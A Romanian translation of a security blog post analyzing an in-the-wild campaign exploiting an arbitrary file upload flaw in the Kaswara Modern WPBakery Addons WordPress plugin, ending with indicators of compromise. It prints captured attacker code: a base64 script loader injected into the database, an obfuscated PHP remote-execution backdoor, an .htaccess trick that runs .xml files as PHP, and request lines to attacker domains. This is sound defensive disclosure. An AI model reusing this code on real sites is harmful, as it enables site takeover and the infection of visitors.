Vulnerabil Kaswara Modern WPBakery Page Builder Addons Plugin este exploatat în sălbăticie

Publicat: 2021-06-08

În data de 20 aprilie 2021, prietenii noștri de la WPScan au raportat o vulnerabilitate gravă în Kaswara Modern VC Addons, cunoscut și sub numele de Kaswara Modern WPBakery Page Builder Addons. Nu mai este disponibil la Codecanyon/Envato, ceea ce înseamnă că dacă aveți acest lucru în funcțiune, trebuie să alegeți o alternativă.

Această vulnerabilitate permite utilizatorilor neautentificați să încarce fișiere arbitrare în directorul de pictograme al pluginului (./wp-content/uploads/kaswara/icons). Acesta este primul indicator de compromis (IOC) pe care prietenii noștri de la WPScan ni l-au împărtășit în raportul lor.

Capacitatea de a încărca fișiere arbitrare pe un site web îi oferă actorului rău control total asupra site-ului, ceea ce face dificilă definirea sarcinii finale a acestei infecții; astfel, vă vom arăta tot ce am găsit până acum (ne-am lăsat puțin duși de cercetare, așa că nu ezitați să treceți la secțiunea IOC dacă nu doriți să citiți).

Injecție de baze de date, aplicații Android false și alte uși din spate

Mulțumim prietenului nostru Denis Sinegubko de la Sucuri pentru că a subliniat urmărirea injecției în baza de date folosită cu acest atac.

Actorii răi ar actualiza opțiunea „kaswara-customJS” pentru a adăuga un fragment arbitrar rău intenționat de cod Javascript. Iată un exemplu pe care l-am găsit:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Acest șir codificat în base64 se traduce prin:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

Și, așa cum se întâmplă de obicei cu acest tip de script, acesta va încărca în lanț o serie de alte fragmente de cod Javascript, iar sarcina utilă finală va fi fie un malvertising, fie un kit de exploatare. Acest lucru este foarte asemănător cu ceea ce a raportat Wordfence aici.

În acest caz, scriptul moare pe hxxp://double-clickd[.]com/ și nu încarcă niciun conținut rău. Am găsit Javascript suspect care apelează acest site de la începutul anului 2020 și oamenii îl blochează deja din 2018.

Aplicații false încărcate pe site

Cele 40 de aplicații Android găsite pe site-urile web pe care le-am examinat erau versiuni false ale diferitelor aplicații, cum ar fi AliPay, PayPal, Correos, DHL și multe altele, care, din fericire, au fost detectate de cei mai populari furnizori de anti-virus conform acestei analize VirusTotal.

VirusTotal rezultate pe unul dintre fișierele APK găsite pe un site compromis

Nu am verificat intențiile aplicației, dar o analiză rapidă a permisiunilor pe care le solicită ne poate oferi o privire asupra a ceea ce ar putea face:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Totuși, acele fișiere nu sunt încărcate imediat folosind exploit-ul Kaswara. După ce site-ul este compromis, atacatorii vor încărca mai întâi alte instrumente pentru a controla pe deplin site-ul.

Fișiere încărcate

Unele uși din spate și alte programe malware au fost găsite și pe site-uri web compromise de această vulnerabilitate. Voi împărtăși o analiză rapidă a celor mai populare și interesante în această postare. Cu toate acestea, vreau să mă concentrez mai întâi pe cel mai complex.

Redirecționare și aplicații false

Aplicațiile false pe care le-am găsit pe mai multe site-uri compromise nu au fost încărcate prin exploatarea vulnerabilității Kaswara. Acestea sunt încărcate pe site folosind un instrument de hack-tool multifuncțional, care permite atacatorului să încarce un cod de la distanță (prin furnizarea unui URL sau șir) și să redirecționeze utilizatorul către un site rău intenționat.

Fișierul poate fi ușor identificat prin prezența acestui șir: base64_decode('MTIz');error_reporting(0); funcţie

Destul de interesant, randomizează totul în afară de asta.

Malware-ul este pe o singură linie, ceea ce este și un IOC interesant dacă căutați acest tip de anomalie de cod.

malware c.php cu codificare completă

Pentru a fi mai ușor de înțeles, am decodat majoritatea părților codului, am redenumit funcțiile interesante și am înfrumusețat codul. Malware-ul include 6 funcții diferite, iar 5 dintre ele se bazează pe valorile transmise variabilei $_GET['ts'] . Pentru acest document, să luăm în considerare una dintre numeroasele instanțe pe care le-am găsit: c.php .

/c.php?ts=kt

Acest lucru nu face nimic și va forța site-ul să returneze o eroare 500 (mai târziu în cod).

/c.php?ts=1

Schimbă valoarea flag $q1a la true pentru a efectua o validare a codului și a trimite un mesaj OK atacatorului.

În acest caz, site-ul de la distanță răspunde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Cod”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Scrie un fișier pe server cu codul furnizat de conținutul lui $_GET["v"] atâta timp cât $_GET["p"] este suma de control SHA1 de 123 (rețineți că primul IOC din base64_decode('MTIz') ? este suma de control).

/c.php?ts=tt

Scrie 5 MB de „-” pe server, probabil folosit pentru a testa dacă funcția de încărcare va funcționa pe server.

/c.php?ts=dwm&h=HASH1,HASH2

Când malware-ul primește această solicitare, efectuează un test pentru a verifica dacă fișierele încărcate au fost scrise cu succes pe server. Hashe-urile lor MD5 trebuie să fie cunoscute și sunt trimise la variabila $_GET['h'] ca valori separate prin virgulă.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Descarcă un fișier de pe o serie de site-uri web ale terților și îl salvează pe server denumindu-l după ultimele 12 caractere ale md5 ale fișierului descărcat.

Aceasta este funcția folosită pentru a încărca aplicații false pe server.

Iată un exemplu de solicitare de descărcare a fișierelor rău intenționate /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Redirecționarea accesului

Dacă opțiunea kt sau nicio opțiune a fost selectată, codul trece la redirecționare, care se realizează prin solicitarea unui blob JSON cu datele necesare. Apoi, redirecționează vizitatorul folosind funcția antet.

Răspunsul este astfel: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

Funcția pentru a executa o solicitare cURL cu parametrii necesari este aceasta: Nimic de lux...

Și poate fi tradus în această solicitare cURL:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

URL-ul final este, din câte am putut testa, aleatoriu, dar împărtășește aceeași caracteristică de a fi o pagină falsă pentru un serviciu sau o aplicație populară.

wp-content/uploads/kaswara/icons/16/javas.xml și wp-content/uploads/kaswara/icons/16/.htaccess

Un fișier XML nu este de obicei marcat ca o potențială amenințare, dar în acest caz, avem un fișier .htaccess special creat care schimbă modul în care îl vede serverul web:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

De fapt, îi spune Apache să înțeleagă orice fișiere javas, home sau meniuri cu xml, php sau pdf ca fișier PHP care să fie procesat în consecință și executat. Deci, oricare dintre acele fișiere prezente în aceeași structură de directoare ca acest .htaccess va fi suspect.

Fișierul javas.xml este același cu alte fișiere rău intenționate încărcate pe site. Am descoperit că diferența este că unele au una sau două linii goale la sfârșitul fișierului, ceea ce face hashingul tradițional puțin mai complicat.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

Codul rău intenționat este ofuscat folosind șiruri de caractere codificate str_rot13 și base64. De asemenea, folosește valori hexazecimale și operații matematice pentru a ascunde puțin mai mult șirurile. Sarcina utilă finală este necunoscută, deoarece va crea o funcție bazată pe valorile unei solicitări POST. Cu toate acestea, sarcina utilă pare să fie aceeași de fiecare dată, deoarece se bazează pe o verificare md5 înainte de a o crea (c42ea979ed982c02632430e9e98a66d6 este hash-ul md5).

Concluzie

Deoarece aceasta este o campanie activă, la momentul scrierii acestei postări, găsim din ce în ce mai multe exemple diferite de malware care sunt aruncate pe site-urile afectate. Unele sunt doar variante ale ceea ce avem aici, în timp ce altele sunt suficient de interesante pentru o analiză mai profundă. Căutați câteva postări mai mici care vor veni în curând pentru a explora câteva dintre aceste alte exemple.

Aceasta ilustrează importanța actualizării extensiilor cu cele mai recente remedieri de securitate; dacă dezvoltatorii nu lansează remedieri în timp util sau este eliminat din depozitul WordPress.org (sau din alte piețe), vă recomandăm insistent să găsiți o alternativă mai sigură la aceasta.

Dacă sunteți îngrijorat de programele malware și de vulnerabilitatea site-ului dvs., verificați caracteristicile de securitate ale Jetpack. Jetpack Security oferă securitate cuprinzătoare și ușor de utilizat pentru site-ul WordPress, inclusiv copii de rezervă, scanare malware și protecție împotriva spamului.

Indicatori de compromis

Aici găsiți lista completă a tuturor IOC-urilor pe care le-am identificat:

Haș (SHA-1) cale Descrierea amenințării
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Aplicație Android falsă
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Aplicație Android falsă
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Aplicație Android falsă
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd Aplicație Android falsă
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Aplicație Android falsă
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Aplicație Android falsă
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Aplicație Android falsă
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Aplicație Android falsă
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Aplicație Android falsă
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Aplicație Android falsă
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Aplicație Android falsă
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa Aplicație Android falsă
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Aplicație Android falsă
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Aplicație Android falsă
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Aplicație Android falsă
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Aplicație Android falsă
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Aplicație Android falsă
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Aplicație Android falsă
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Aplicație Android falsă
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Aplicație Android falsă
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Aplicație Android falsă
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Aplicație Android falsă
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Aplicație Android falsă
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Aplicație Android falsă
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Aplicație Android falsă
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Aplicație Android falsă
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Aplicație Android falsă
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Aplicație Android falsă
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Aplicație Android falsă
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Aplicație Android falsă
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Aplicație Android falsă
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Aplicație Android falsă
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Aplicație Android falsă
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Aplicație Android falsă
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Aplicație Android falsă
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Aplicație Android falsă
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Aplicație Android falsă
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Aplicație Android falsă
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Aplicație Android falsă
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Aplicație Android falsă
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php S-a eliminat malware
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php S-a eliminat malware
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php Încărcător de fișiere PHP
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php S-a eliminat malware
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Program malware de execuție de cod de la distanță
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php S-a eliminat malware
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php S-a eliminat malware
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php S-a eliminat malware
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php S-a eliminat malware
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip S-a eliminat malware
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip S-a eliminat malware
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php S-a eliminat malware
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php S-a eliminat malware
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php Program malware de execuție de cod de la distanță
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php S-a eliminat malware
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php sau ./wp-content/uploads/xeh02b.php S-a eliminat malware
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php S-a eliminat malware
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php Program malware de execuție de cod de la distanță
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php S-a eliminat malware
wp-content/uploads/kaswara/icons/16/javas.xml Program malware de execuție de cod de la distanță
smurfetta.ru Domeniu rău intenționat
http://papass.ru Domeniu rău intenționat